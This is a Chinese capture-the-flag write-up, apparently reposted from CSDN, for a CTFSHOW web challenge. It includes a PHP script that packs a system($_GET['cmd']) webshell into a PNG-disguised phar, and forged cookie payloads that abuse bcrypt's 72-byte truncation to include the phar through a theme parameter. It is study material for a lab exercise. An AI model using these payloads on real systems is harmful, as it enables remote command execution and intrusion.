因为该题没有理解到位,导致看wp也一直出错,特此反思一下。
参考yu22x师傅的文章 :CTFSHOW大赛原题篇(web696-web710)_ctfshow 大赛原题-CSDN博客
首先拿到题目:
// www.zip 下载源码
我们的思路就是包含一个css文件,这个css文件是压缩到phar中的,那么如何绕过文件上传必须是PNG的限制呢,就可以手动赋值一个文件头
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
结合这个data和signature,我们可以先创建一个账号登录一下:
eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD
那么再传入我们生成的phar文件再查看一下cookie的变化:
(我们发现这两次的cookie签名值是不同的),如果签名值是不同的那么我们添加theme参数的时候就会让我们重新登录无法进行命令执行了
eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H
接下来我们需要关注一个比较有意思的地方:
现在我们需要考虑的是我们怎么凑才能把data这个消息也就是咱们cookie "." 前面的字符串是72位以上呢?
我们需要访问/upload.php 但是不需要上传文件即可:
这样就凑够了72以上字符,
因为此处凑够了72以上字符,因此后面添加theme后,我们就需要用这个签名
eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD
{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}
接着我们利用util类里面的urlsafe_base64_encode函数生成$data再拼接之前的.后面签名即可:
这样就可以执行了,我错误的原因呢就是拿到最初登录时候给的$signature来拼接了
但是没考虑到那个password_hash的特性
具体的思路:
1、可以包含css,所以创建一个css压缩到phar中,生成png的文件头
2、通过访问upload.php凑够那个72字符
{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}
3、添加theme参数
4、访问/index.php 传cmd参数执行命令
平台声明:以上文章转载于《CSDN》,文章全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,仅作参考。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/m0_64014167/article/details/147340587